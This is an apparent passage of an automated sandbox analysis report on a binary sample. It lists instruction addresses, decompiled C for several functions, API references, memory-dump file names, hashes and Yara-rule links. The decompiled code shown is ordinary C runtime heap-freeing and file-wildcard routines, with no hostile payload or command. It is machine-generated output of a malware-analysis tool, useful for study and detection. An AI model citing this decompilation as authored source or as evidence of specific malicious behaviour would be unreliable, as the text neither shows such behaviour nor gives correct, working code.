0x0040d381
0x0040d387
0x0040d388
0x0040d38e
0x0040d38f
0x0040d394
0x0040d39a
0x0040d39d
0x0040d39f
0x0040d3a1
0x0040d3a2
0x0040d3a2
0x0040d3b0
0x0040d3b0
0x0040d3b3
0x0040d3b6
0x0040d3b8
0x0040d3bb
0x0040d3bd
0x0040d3bd
0x0040d3c0
0x0040d3c0
0x0040d3c3
0x0040d3c6
0x00000000
0x0040d3cc
0x0040d3cc
0x0040d3ce
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040d3ce
0x0040d3c6
0x0040d371
0x0040d363
0x0040d336
0x0040d338
0x0040d339
0x0040d33c
0x00000000
0x00000000
0x00000000
0x00000000
0x0040d33c
0x0040d334
0x0040d2bc
0x00000000
0x0040d2b0
0x0040d3d4
0x00000000
0x0040d3d4
0x0040d283
0x0040d278
0x0040d26d
0x0040d226
0x0040d226
0x0040d228
0x0040d23f
0x0040d22a
0x0040d22a
0x0040d22b
0x0040d22c
0x0040d22d
0x0040d232
0x0040d4ca
0x0040d4cd
0x0040d4ce
0x0040d4cf
0x0040d4d1
0x0040d4d8
0x0040d4d8
0x0040d224
0x00000000

APIs

Part of subcall function 0040FE5B: RtlAllocateHeap.NTDLL(00000000,?,?,?,00405675,?,?,?,?,?,00401137,?,?), ref: 0040FE8D

_free.LIBCMT ref: 0040D16F
_free.LIBCMT ref: 0040D186
_free.LIBCMT ref: 0040D1A3
_free.LIBCMT ref: 0040D1BE
_free.LIBCMT ref: 0040D1D5

Memory Dump Source

Source File: 00000001.00000002.259896654.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.259896654.000000000044E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.259896654.0000000000456000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_11.jbxd

Yara matches

Similarity

API ID: _free$AllocateHeap
String ID:
API String ID: 3033488037-0
Opcode ID: dea402fd9b02b5cc5a8383b386f91520b16d559452d61c5cd509ea5271191ed8
Instruction ID: 03030c9799856cd116e0c06f92e58ff6eeffe388ca93f59a3e58930ba58ef8e3
Opcode Fuzzy Hash: dea402fd9b02b5cc5a8383b386f91520b16d559452d61c5cd509ea5271191ed8
Instruction Fuzzy Hash: D951A371A00204AFDB21DFA9CC41B6A77F5EF55724B14457EE809EB2D0EB39E906CB48

Uniqueness

Uniqueness Score: -1.00%

Function 0270D4C7 Relevance: 7.7, APIs: 5, Instructions: 186COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 027102C2: RtlAllocateHeap.NTDLL(00000000,?), ref: 027102F4

_free.LIBCMT ref: 0270D5D6
_free.LIBCMT ref: 0270D5ED
_free.LIBCMT ref: 0270D60A
_free.LIBCMT ref: 0270D625
_free.LIBCMT ref: 0270D63C

Memory Dump Source

Source File: 00000001.00000002.260434500.0000000002700000.00000040.00001000.00020000.00000000.sdmp, Offset: 02700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2700000_11.jbxd

Yara matches

Similarity

API ID: _free$AllocateHeap
String ID:
API String ID: 3033488037-0
Opcode ID: 8516bdd71fd5dcc3f94c3444abe0aa29cd46d557d6d4a4fa70a7aa70b542821f
Instruction ID: 718e15eaf857c62cba59d17a39a6256fa47c6438855f4f4e2ecf5afd27520fae
Opcode Fuzzy Hash: 8516bdd71fd5dcc3f94c3444abe0aa29cd46d557d6d4a4fa70a7aa70b542821f
Instruction Fuzzy Hash: 9F51C071A00304EFDB31DFA9C880B6A77F5EF49764F144569E809D7290E731EA09CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00417135 Relevance: 7.5, APIs: 5, Instructions: 40
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E00417135(intOrPtr* _a4) {
				intOrPtr _t6;
				intOrPtr* _t21;
				void* _t23;
				void* _t24;
				void* _t25;
				void* _t26;
				void* _t27;

				_t21 = _a4;
				if(_t21 != 0) {
					_t23 =  *_t21 -  *0x42c120; // 0x42c174
					if(_t23 != 0) {
						E0040F644(_t7);
					}
					_t24 =  *((intOrPtr*)(_t21 + 4)) -  *0x42c124; // 0x458068
					if(_t24 != 0) {
						E0040F644(_t8);
					}
					_t25 =  *((intOrPtr*)(_t21 + 8)) -  *0x42c128; // 0x458068
					if(_t25 != 0) {
						E0040F644(_t9);
					}
					_t26 =  *((intOrPtr*)(_t21 + 0x30)) -  *0x42c150; // 0x42c178
					if(_t26 != 0) {
						E0040F644(_t10);
					}
					_t6 =  *((intOrPtr*)(_t21 + 0x34));
					_t27 = _t6 -  *0x42c154; // 0x45806c
					if(_t27 != 0) {
						return E0040F644(_t6);
					}
				}
				return _t6;
			}

0x0041713b
0x00417140
0x00417144
0x0041714a
0x0041714d
0x00417152
0x00417156
0x0041715c
0x0041715f
0x00417164
0x00417168
0x0041716e
0x00417171
0x00417176
0x0041717a
0x00417180
0x00417183
0x00417188
0x00417189
0x0041718c
0x00417192
0x00000000
0x0041719a
0x00417192
0x0041719d

APIs

_free.LIBCMT ref: 0041714D

Part of subcall function 0040F644: HeapFree.KERNEL32(00000000,00000000,?,004173D6,?,00000000,?,?,?,00417679,?,00000007,?,?,00417B6C,?), ref: 0040F65A
Part of subcall function 0040F644: GetLastError.KERNEL32(?,?,004173D6,?,00000000,?,?,?,00417679,?,00000007,?,?,00417B6C,?,?), ref: 0040F66C

_free.LIBCMT ref: 0041715F
_free.LIBCMT ref: 00417171
_free.LIBCMT ref: 00417183
_free.LIBCMT ref: 00417195

Memory Dump Source

Source File: 00000001.00000002.259896654.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.259896654.000000000044E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.259896654.0000000000456000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_11.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: ebb77d19dc8c4e07ae6ca619c6d612cbc1fb59e182029c9d62500dbe72b62076
Instruction ID: a6d92aeb229cc3244929e709e5e5532b0ea50b640beb2f61ae81d008e60088c1
Opcode Fuzzy Hash: ebb77d19dc8c4e07ae6ca619c6d612cbc1fb59e182029c9d62500dbe72b62076
Instruction Fuzzy Hash: E8F0F43260421077C630EB55E4C7D5B73E9AA057547980C3AF448E7751CE39FC828A5C

Uniqueness

Uniqueness Score: -1.00%

Function 0271759C Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 027175B4

Part of subcall function 0270FAAB: HeapFree.KERNEL32(00000000,00000000,?,0271783D,?,00000000,?,?,?,02717AE0,?,00000007,?,?,02717FD3,?), ref: 0270FAC1
Part of subcall function 0270FAAB: GetLastError.KERNEL32(?,?,0271783D,?,00000000,?,?,?,02717AE0,?,00000007,?,?,02717FD3,?,?), ref: 0270FAD3

_free.LIBCMT ref: 027175C6
_free.LIBCMT ref: 027175D8
_free.LIBCMT ref: 027175EA
_free.LIBCMT ref: 027175FC

Memory Dump Source

Source File: 00000001.00000002.260434500.0000000002700000.00000040.00001000.00020000.00000000.sdmp, Offset: 02700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2700000_11.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: ebb77d19dc8c4e07ae6ca619c6d612cbc1fb59e182029c9d62500dbe72b62076
Instruction ID: a4117b746486d89f42531aca7f676877e6c8522c008fc184171cb8420ea21a44
Opcode Fuzzy Hash: ebb77d19dc8c4e07ae6ca619c6d612cbc1fb59e182029c9d62500dbe72b62076
Instruction Fuzzy Hash: 5FF06272705210ABC735EB5DE8CAC2AB3EAAE847943A44805F048D7950CF30F8858EB9

Uniqueness

Uniqueness Score: -1.00%

Function 00415605 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 206
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E00415605(void* __esi, signed int* _a4, signed int _a8, intOrPtr _a12) {
				intOrPtr _v0;
				signed int _v6;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				intOrPtr* _v72;
				intOrPtr* _v104;
				intOrPtr* _v108;
				intOrPtr _v112;
				signed int _v124;
				struct _WIN32_FIND_DATAW _v608;
				char _v609;
				intOrPtr* _v616;
				union _FINDEX_INFO_LEVELS _v620;
				union _FINDEX_INFO_LEVELS _v624;
				union _FINDEX_INFO_LEVELS _v628;
				signed int _v632;
				union _FINDEX_INFO_LEVELS _v636;
				union _FINDEX_INFO_LEVELS _v640;
				signed int _v644;
				signed int _v648;
				union _FINDEX_INFO_LEVELS _v652;
				union _FINDEX_INFO_LEVELS _v656;
				union _FINDEX_INFO_LEVELS _v660;
				union _FINDEX_INFO_LEVELS _v664;
				signed int _v668;
				union _FINDEX_INFO_LEVELS _v672;
				union _FINDEX_INFO_LEVELS _v676;
				intOrPtr _v724;
				void* __ebx;
				void* __edi;
				intOrPtr* _t131;
				signed int _t132;
				signed int _t134;
				signed int _t139;
				signed int _t140;
				intOrPtr* _t150;
				signed int _t152;
				intOrPtr _t153;
				signed int _t157;
				signed int _t159;
				signed int _t164;
				signed int _t166;
				char _t168;
				signed char _t169;
				signed int _t175;
				union _FINDEX_INFO_LEVELS _t179;
				signed int _t185;
				union _FINDEX_INFO_LEVELS _t188;
				intOrPtr* _t196;
				signed int _t199;
				intOrPtr _t204;
				signed int _t206;
				signed int _t209;
				signed int _t211;
				signed int _t212;
				signed int _t213;
				signed int _t215;
				signed int _t217;
				signed int _t218;
				signed int* _t219;
				signed int _t222;
				void* _t225;
				union _FINDEX_INFO_LEVELS _t226;
				void* _t227;
				intOrPtr _t229;
				signed int _t232;
				signed int _t233;
				signed int _t234;
				signed int _t236;
				intOrPtr* _t239;
				signed int _t241;
				intOrPtr* _t244;
				signed int _t249;
				signed int _t255;
				signed int _t257;
				signed int _t263;
				intOrPtr* _t264;
				signed int _t272;
				signed int _t274;
				intOrPtr* _t275;
				void* _t277;
				signed int _t280;
				signed int _t283;
				signed int _t285;
				intOrPtr _t287;
				void* _t288;
				signed int* _t292;
				signed int _t293;
				signed int _t295;
				signed int _t296;
				signed int _t297;
				signed int _t299;
				void* _t300;
				void* _t301;
				signed int _t302;
				void* _t306;
				signed int _t307;
				void* _t308;
				void* _t309;
				void* _t310;
				signed int _t311;
				void* _t312;
				void* _t313;

				_t131 = _a8;
				_t309 = _t308 - 0x28;
				_push(__esi);
				_t317 = _t131;
				if(_t131 != 0) {
					_t292 = _a4;
					_t222 = 0;
					 *_t131 = 0;
					_t283 = 0;
					_t132 =  *_t292;
					_t232 = 0;
					_v608.cAlternateFileName = 0;
					_v40 = 0;
					_v36 = 0;
					__eflags = _t132;
					if(_t132 == 0) {
						L9:
						_v8 = _t222;
						_t134 = _t232 - _t283;
						_t293 = _t283;
						_v12 = _t293;
						_t271 = (_t134 >> 2) + 1;
						_t136 = _t134 + 3 >> 2;
						__eflags = _t232 - _t293;
						_v16 = (_t134 >> 2) + 1;
						asm("sbb esi, esi");
						_t295 =  !_t293 & _t134 + 0x00000003 >> 0x00000002;
						__eflags = _t295;
						if(_t295 != 0) {
							_t213 = _t283;
							_t280 = _t222;
							do {
								_t264 =  *_t213;
								_t20 = _t264 + 1; // 0x1
								_v20 = _t20;
								do {
									_t215 =  *_t264;
									_t264 = _t264 + 1;
									__eflags = _t215;
								} while (_t215 != 0);
								_t222 = _t222 + 1 + _t264 - _v20;
								_t213 = _v12 + 4;
								_t280 = _t280 + 1;
								_v12 = _t213;
								__eflags = _t280 - _t295;
							} while (_t280 != _t295);
							_t271 = _v16;
							_v8 = _t222;
							_t222 = 0;
							__eflags = 0;
						}
						_t296 = E0040BEBF(_t136, _t271, _v8, 1);
						_t310 = _t309 + 0xc;
						__eflags = _t296;
						if(_t296 != 0) {
							_v12 = _t283;
							_t139 = _t296 + _v16 * 4;
							_t233 = _t139;
							_v28 = _t139;
							_t140 = _t283;
							_v16 = _t233;
							__eflags = _t140 - _v40;
							if(_t140 == _v40) {
								L24:
								_v12 = _t222;
								 *_a8 = _t296;
								_t297 = _t222;
								goto L25;
							} else {
								_t274 = _t296 - _t283;
								__eflags = _t274;
								_v32 = _t274;
								do {
									_t150 =  *_t140;
									_t275 = _t150;
									_v24 = _t150;
									_v20 = _t275 + 1;
									do {
										_t152 =  *_t275;
										_t275 = _t275 + 1;
										__eflags = _t152;
									} while (_t152 != 0);
									_t153 = _t275 - _v20 + 1;
									_push(_t153);
									_v20 = _t153;
									_t157 = E0041A5D3(_t233, _v28 - _t233 + _v8, _v24);
									_t310 = _t310 + 0x10;
									__eflags = _t157;
									if(_t157 != 0) {
										_push(_t222);
										_push(_t222);
										_push(_t222);
										_push(_t222);
										_push(_t222);
										E004092DF();
										asm("int3");
										_t306 = _t310;
										_push(_t233);
										_t239 = _v72;
										_t65 = _t239 + 1; // 0x1
										_t277 = _t65;
										do {
											_t159 =  *_t239;
											_t239 = _t239 + 1;
											__eflags = _t159;
										} while (_t159 != 0);
										_push(_t283);
										_t285 = _a8;
										_t241 = _t239 - _t277 + 1;
										_v12 = _t241;
										__eflags = _t241 -  !_t285;
										if(_t241 <=  !_t285) {
											_push(_t222);
											_push(_t296);
											_t68 = _t285 + 1; // 0x1
											_t225 = _t68 + _t241;
											_t300 = E0040FEA9(_t225, 1);
											__eflags = _t285;
											if(_t285 == 0) {
												L40:
												_push(_v12);
												_t225 = _t225 - _t285;
												_t164 = E0041A5D3(_t300 + _t285, _t225, _v0);
												_t311 = _t310 + 0x10;
												__eflags = _t164;
												if(_t164 != 0) {
													goto L45;
												} else {
													_t229 = _a12;
													_t206 = E00415B38(_t229);
													_v12 = _t206;
													__eflags = _t206;
													if(_t206 == 0) {
														 *( *(_t229 + 4)) = _t300;
														_t302 = 0;
														_t77 = _t229 + 4;
														 *_t77 =  *(_t229 + 4) + 4;
														__eflags =  *_t77;
													} else {
														E0040F644(_t300);
														_t302 = _v12;
													}
													E0040F644(0);
													_t209 = _t302;
													goto L37;
												}
											} else {
												_push(_t285);
												_t211 = E0041A5D3(_t300, _t225, _a4);
												_t311 = _t310 + 0x10;
												__eflags = _t211;
												if(_t211 != 0) {
													L45:
													_push(0);
													_push(0);
													_push(0);
													_push(0);
													_push(0);
													E004092DF();
													asm("int3");
													_push(_t306);
													_t307 = _t311;
													_t312 = _t311 - 0x298;
													_t166 =  *0x42c014; // 0xee6350c6
													_v124 = _t166 ^ _t307;
													_t244 = _v108;
													_t278 = _v104;
													_push(_t225);
													_push(0);
													_t287 = _v112;
													_v724 = _t278;
													__eflags = _t244 - _t287;
													if(_t244 != _t287) {
														while(1) {
															_t204 =  *_t244;
															__eflags = _t204 - 0x2f;
															if(_t204 == 0x2f) {
																break;
															}
															__eflags = _t204 - 0x5c;
															if(_t204 != 0x5c) {
																__eflags = _t204 - 0x3a;
																if(_t204 != 0x3a) {
																	_t244 = E0041ACF0(_t287, _t244);
																	__eflags = _t244 - _t287;
																	if(_t244 != _t287) {
																		continue;
																	}
																}
															}
															break;
														}
														_t278 = _v616;
													}
													_t168 =  *_t244;
													_v609 = _t168;
													__eflags = _t168 - 0x3a;
													if(_t168 != 0x3a) {
														L56:
														_t226 = 0;
														__eflags = _t168 - 0x2f;
														if(__eflags == 0) {
															L59:
															_t169 = 1;
														} else {
															__eflags = _t168 - 0x5c;
															if(__eflags == 0) {
																goto L59;
															} else {
																__eflags = _t168 - 0x3a;
																_t169 = 0;
																if(__eflags == 0) {
																	goto L59;
																}
															}
														}
														_v676 = _t226;
														_v672 = _t226;
														_push(_t300);
														asm("sbb eax, eax");
														_v668 = _t226;
														_v664 = _t226;
														_v644 =  ~(_t169 & 0x000000ff) & _t244 - _t287 + 0x00000001;
														_v660 = _t226;
														_v656 = _t226;
														_t175 = E0040B94B(_t244 - _t287 + 1, _t287,  &_v676, E0041535A(_t278, __eflags));
														_t313 = _t312 + 0xc;
														asm("sbb eax, eax");
														_t179 = FindFirstFileExW( !( ~_t175) & _v668, _t226,  &_v608, _t226, _t226, _t226);
														_t301 = _t179;
														__eflags = _t301 - 0xffffffff;
														if(_t301 != 0xffffffff) {
															_t249 =  *((intOrPtr*)(_v616 + 4)) -  *_v616;
															__eflags = _t249;
															_v648 = _t249 >> 2;
															do {
																_v640 = _t226;
																_v636 = _t226;
																_v632 = _t226;
																_v628 = _t226;
																_v624 = _t226;
																_v620 = _t226;
																_t185 = E00415536( &(_v608.cFileName),  &_v640,  &_v609, E0041535A(_t278, __eflags));
																_t313 = _t313 + 0x10;
																asm("sbb eax, eax");
																_t188 =  !( ~_t185) & _v632;
																__eflags =  *_t188 - 0x2e;
																if( *_t188 != 0x2e) {
																	L67:
																	_push(_v616);
																	_push(_v644);
																	_push(_t287);
																	_push(_t188);
																	L33();
																	_t313 = _t313 + 0x10;
																	_v652 = _t188;
																	__eflags = _t188;
																	if(_t188 != 0) {
																		__eflags = _v620 - _t226;
																		if(_v620 != _t226) {
																			E0040F644(_v632);
																			_t188 = _v652;
																		}
																		_t226 = _t188;
																	} else {
																		goto L68;
																	}
																} else {
																	_t255 =  *((intOrPtr*)(_t188 + 1));
																	__eflags = _t255;
																	if(_t255 == 0) {
																		goto L68;
																	} else {
																		__eflags = _t255 - 0x2e;
																		if(_t255 != 0x2e) {
																			goto L67;
																		} else {
																			__eflags =  *((intOrPtr*)(_t188 + 2)) - _t226;
																			if( *((intOrPtr*)(_t188 + 2)) == _t226) {
																				goto L68;
																			} else {
																				goto L67;
																			}
																		}
																	}
																}
																L76:
																FindClose(_t301);
																goto L77;
																L68:
																__eflags = _v620 - _t226;
																if(_v620 != _t226) {
																	E0040F644(_v632);
																}
																__eflags = FindNextFileW(_t301,  &_v608);
															} while (__eflags != 0);
															_t196 = _v616;
															_t257 = _v648;
															_t278 =  *_t196;
															_t199 =  *((intOrPtr*)(_t196 + 4)) -  *_t196 >> 2;
															__eflags = _t257 - _t199;
															if(_t257 != _t199) {
																E0041A7C0(_t278, _t278 + _t257 * 4, _t199 - _t257, 4, E0041551E);
															}
															goto L76;
														} else {
															_push(_v616);
															_push(_t226);
															_push(_t226);
															_push(_t287);
															L33();
															_t226 = _t179;
														}
														L77:
														__eflags = _v656;
														_pop(_t300);
														if(_v656 != 0) {
															E0040F644(_v668);
														}
														_t190 = _t226;
													} else {
														_t190 = _t287 + 1;
														__eflags = _t244 - _t287 + 1;
														if(_t244 == _t287 + 1) {
															_t168 = _v609;
															goto L56;
														} else {
															_push(_t278);
															_push(0);
															_push(0);
															_push(_t287);
															L33();
														}
													}
													_pop(_t288);
													__eflags = _v16 ^ _t307;
													_pop(_t227);
													return E00404A89(_t190, _t227, _v16 ^ _t307, _t278, _t288, _t300);
												} else {
													goto L40;
												}
											}
										} else {
											_t209 = 0xc;
											L37:
											return _t209;
										}
									} else {
										goto L23;
									}
									goto L81;
									L23:
									_t212 = _v12;
									_t263 = _v16;
									 *((intOrPtr*)(_v32 + _t212)) = _t263;
									_t140 = _t212 + 4;
									_t233 = _t263 + _v20;
									_v16 = _t233;
									_v12 = _t140;
									__eflags = _t140 - _v40;
								} while (_t140 != _v40);
								goto L24;
							}
						} else {
							_t297 = _t296 | 0xffffffff;
							_v12 = _t297;
							L25:
							E0040F644(_t222);
							_pop(_t234);
							goto L26;
						}
					} else {
						while(1) {
							_v8 = 0x3f2a;
							_v6 = _t222;
							_t217 = E0041ACB0(_t132,  &_v8);
							_t234 =  *_t292;
							__eflags = _t217;
							if(_t217 != 0) {
								_push( &(_v608.cAlternateFileName));
								_push(_t217);
								_push(_t234);
								L46();
								_t309 = _t309 + 0xc;
								_v12 = _t217;
								_t297 = _t217;
							} else {
								_t218 =  &(_v608.cAlternateFileName);
								_push(_t218);
								_push(_t222);
								_push(_t222);
								_push(_t234);
								L33();
								_t297 = _t218;
								_t309 = _t309 + 0x10;
								_v12 = _t297;
							}
							__eflags = _t297;
							if(_t297 != 0) {
								break;
							}
							_t292 =  &(_a4[1]);
							_a4 = _t292;
							_t132 =  *_t292;
							__eflags = _t132;
							if(_t132 != 0) {
								continue;
							} else {
								_t283 = _v608.cAlternateFileName;
								_t232 = _v40;
								goto L9;
							}
							goto L81;
						}
						_t283 = _v608.cAlternateFileName;
						L26:
						_t272 = _t283;
						_v32 = _t272;
						__eflags = _v40 - _t272;
						asm("sbb ecx, ecx");
						_t236 =  !_t234 & _v40 - _t272 + 0x00000003 >> 0x00000002;
						__eflags = _t236;
						_v28 = _t236;
						if(_t236 != 0) {
							_t299 = _t236;
							do {
								E0040F644( *_t283);
								_t222 = _t222 + 1;
								_t283 = _t283 + 4;
								__eflags = _t222 - _t299;
							} while (_t222 != _t299);
							_t283 = _v608.cAlternateFileName;
							_t297 = _v12;
						}
						E0040F644(_t283);
						goto L31;
					}
				} else {
					_t219 = E0040938C(_t317);
					_t297 = 0x16;
					 *_t219 = _t297;
					E004092B2();
					L31:
					return _t297;
				}
				L81:
			}

0x0041560a
0x0041560d
0x00415610
0x00415611
0x00415613
0x00415629
0x0041562d
0x00415630
0x00415632
0x00415634
0x00415636
0x00415638
0x0041563b
0x0041563e
0x00415641
0x00415643
0x004156a6
0x004156a8
0x004156ab
0x004156ad
0x004156b1
0x004156ba
0x004156bb
0x004156be
0x004156c0
0x004156c3
0x004156c7
0x004156c7
0x004156c9
0x004156cb
0x004156cd
0x004156cf
0x004156cf
0x004156d1
0x004156d4
0x004156d7
0x004156d7
0x004156d9
0x004156da
0x004156da
0x004156e5
0x004156e7
0x004156ea
0x004156eb
0x004156ee
0x004156ee
0x004156f2
0x004156f5
0x004156f8
0x004156f8
0x004156f8
0x00415705
0x00415707
0x0041570a
0x0041570c
0x00415724
0x00415727
0x0041572a
0x0041572c
0x0041572f
0x00415731
0x00415734
0x00415737
0x00415794
0x00415797
0x0041579a
0x0041579c
0x00000000
0x00415739
0x0041573b
0x0041573b
0x0041573d
0x00415740
0x00415740
0x00415742
0x00415744
0x0041574a
0x0041574d
0x0041574d
0x0041574f
0x00415750
0x00415750
0x00415757
0x0041575a
0x0041575e
0x0041576b
0x00415770
0x00415773
0x00415775
0x004157e9
0x004157ea
0x004157eb
0x004157ec
0x004157ed
0x004157ee
0x004157f3
0x004157f7
0x004157f9
0x004157fa
0x004157fd
0x004157fd
0x00415800
0x00415800
0x00415802
0x00415803
0x00415803
0x00415807
0x00415808
0x0041580f
0x00415812
0x00415815
0x00415817
0x0041581f
0x00415820
0x00415821
0x00415824
0x0041582e
0x00415832
0x00415834
0x00415848
0x00415848
0x0041584b
0x00415855
0x0041585a
0x0041585d
0x0041585f
0x00000000
0x00415861
0x00415861
0x00415866
0x0041586d
0x00415870
0x00415872
0x00415883
0x00415885
0x00415887
0x00415887
0x00415887
0x00415874
0x00415875
0x0041587a
0x0041587d
0x0041588c
0x00415892
0x00000000
0x00415895
0x00415836
0x00415836
0x0041583c
0x00415841
0x00415844
0x00415846
0x00415898
0x0041589a
0x0041589b
0x0041589c
0x0041589d
0x0041589e
0x0041589f
0x004158a4
0x004158a7
0x004158a8
0x004158aa
0x004158b0
0x004158b7
0x004158ba
0x004158bd
0x004158c0
0x004158c1
0x004158c2
0x004158c5
0x004158cb
0x004158cd
0x004158cf
0x004158cf
0x004158d1
0x004158d3
0x00000000
0x00000000
0x004158d5
0x004158d7
0x004158d9
0x004158db
0x004158e6
0x004158e8
0x004158ea
0x00000000
0x00000000
0x004158ea
0x004158db
0x00000000
0x004158d7
0x004158ec
0x004158ec
0x004158f2
0x004158f4
0x004158fa
0x004158fc
0x0041591e
0x0041591e
0x00415920
0x00415922
0x0041592e
0x0041592e
0x00415924
0x00415924
0x00415926
0x00000000
0x00415928
0x00415928
0x0041592a
0x0041592c
0x00000000
0x00000000
0x0041592c
0x00415926
0x00415936
0x0041593e
0x00415944
0x00415945
0x00415947
0x0041594f
0x00415955
0x0041595b
0x00415961
0x00415975
0x0041597a
0x00415985
0x00415995
0x0041599b
0x0041599d
0x004159a0
0x004159c3
0x004159c3
0x004159c8
0x004159ce
0x004159ce
0x004159d4
0x004159da
0x004159e0
0x004159e6
0x004159ec
0x00415a0d
0x00415a12
0x00415a17
0x00415a1b
0x00415a21
0x00415a24
0x00415a37
0x00415a37
0x00415a3d
0x00415a43
0x00415a44
0x00415a45
0x00415a4a
0x00415a4d
0x00415a53
0x00415a55
0x00415ab3
0x00415ab9
0x00415ac1
0x00415ac6
0x00415acc
0x00415acd
0x00000000
0x00000000
0x00000000
0x00415a26
0x00415a26
0x00415a29
0x00415a2b
0x00000000
0x00415a2d
0x00415a2d
0x00415a30
0x00000000
0x00415a32
0x00415a32
0x00415a35
0x00000000
0x00000000
0x00000000
0x00000000
0x00415a35
0x00415a30
0x00415a2b
0x00415acf
0x00415ad0
0x00000000
0x00415a57
0x00415a57
0x00415a5d
0x00415a65
0x00415a6a
0x00415a79
0x00415a79
0x00415a81
0x00415a87
0x00415a8d
0x00415a94
0x00415a97
0x00415a99
0x00415aa9
0x00415aae
0x00000000
0x004159a2
0x004159a2
0x004159a8
0x004159a9
0x004159aa
0x004159ab
0x004159b3
0x004159b3
0x00415ad6
0x00415ad6
0x00415add
0x00415ade
0x00415ae6
0x00415aeb
0x00415aec
0x004158fe
0x004158fe
0x00415901
0x00415903
0x00415918
0x00000000
0x00415905
0x00415905
0x00415908
0x00415909
0x0041590a
0x0041590b
0x00415910
0x00415903
0x00415af1
0x00415af2
0x00415af4
0x00415afb
0x00000000
0x00000000
0x00000000
0x00415846
0x00415819
0x0041581b
0x0041581c
0x0041581e
0x0041581e
0x00000000
0x00000000
0x00000000
0x00000000
0x00415777
0x00415777
0x0041577d
0x00415780
0x00415783
0x00415786
0x00415789
0x0041578c
0x0041578f
0x0041578f
0x00000000
0x00415740
0x0041570e
0x0041570e
0x00415711
0x0041579e
0x0041579f
0x004157a4
0x00000000
0x004157a4
0x00415645
0x00415645
0x00415648
0x00415650
0x00415653
0x0041565a
0x0041565c
0x0041565e
0x00415679
0x0041567a
0x0041567b
0x0041567c
0x00415681
0x00415684
0x00415687
0x00415660
0x00415660
0x00415663
0x00415664
0x00415665
0x00415666
0x00415667
0x0041566c
0x0041566e
0x00415671
0x00415671
0x00415689
0x0041568b
0x00000000
0x00000000
0x00415694
0x00415697
0x0041569a
0x0041569c
0x0041569e
0x00000000
0x004156a0
0x004156a0
0x004156a3
0x00000000
0x004156a3
0x00000000
0x0041569e
0x00415719
0x004157a5
0x004157a8
0x004157ac
0x004157b5
0x004157b8
0x004157bc
0x004157bc
0x004157be
0x004157c1
0x004157c3
0x004157c5
0x004157c7
0x004157cc
0x004157cd
0x004157d1
0x004157d1
0x004157d5
0x004157d8
0x004157d8
0x004157dc
0x00000000
0x004157e3
0x00415615
0x00415615
0x0041561c
0x0041561d
0x0041561f
0x004157e4
0x004157e8
0x004157e8
0x00000000

APIs

_free.LIBCMT ref: 0041579F

Strings

*?, xrefs: 00415648

Memory Dump Source

Source File: 00000001.00000002.259896654.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.259896654.000000000044E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.259896654.0000000000456000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_11.jbxd

Yara matches

Similarity

API ID: _free
String ID: *?
API String ID: 269201875-2564092906
Opcode ID: 3bbd6541a74fb2d87f05d3aed59ad05bafb5686248702d2675da2886325d30ba
Instruction ID: a2eb66229c46ef29de3e17c4ed9aa97c92f08a46d8ed2d78eec11f0f131f74e9
Opcode Fuzzy Hash: 3bbd6541a74fb2d87f05d3aed59ad05bafb5686248702d2675da2886325d30ba
Instruction Fuzzy Hash: 16614B75D00619DFCB14DFA9C8815EEFBF5EF88310F24816AE815E7340D639AE818B94

Uniqueness

Uniqueness Score: -1.00%

Function 02715A6C Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 206COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 02715C06

Strings

*?, xrefs: 02715AAF

Memory Dump Source

Source File: 00000001.00000002.260434500.0000000002700000.00000040.00001000.00020000.00000000.sdmp, Offset: 02700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2700000_11.jbxd

Yara matches

Similarity

API ID: _free
String ID: *?
API String ID: 269201875-2564092906
Opcode ID: 3bbd6541a74fb2d87f05d3aed59ad05bafb5686248702d2675da2886325d30ba
Instruction ID: d4367aae58b5f7c5c019c4eee133a75c4952e710b29667116dfe6db0f911c85c
Opcode Fuzzy Hash: 3bbd6541a74fb2d87f05d3aed59ad05bafb5686248702d2675da2886325d30ba
Instruction Fuzzy Hash: 58612BB5E002199FCB29CFADC8815EDFBF5EF88310B64816AD815E7340E735AE458B94

Uniqueness

Uniqueness Score: -1.00%

Function 02707EF7 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 02707F36
__IsNonwritableInCurrentImage.LIBCMT ref: 02707FEA

Strings

Z7@, xrefs: 02708003
csm, xrefs: 02707FD4

Memory Dump Source

Source File: 00000001.00000002.260434500.0000000002700000.00000040.00001000.00020000.00000000.sdmp, Offset: 02700000, based on PE: false

Joe Sandbox IDA Plugin

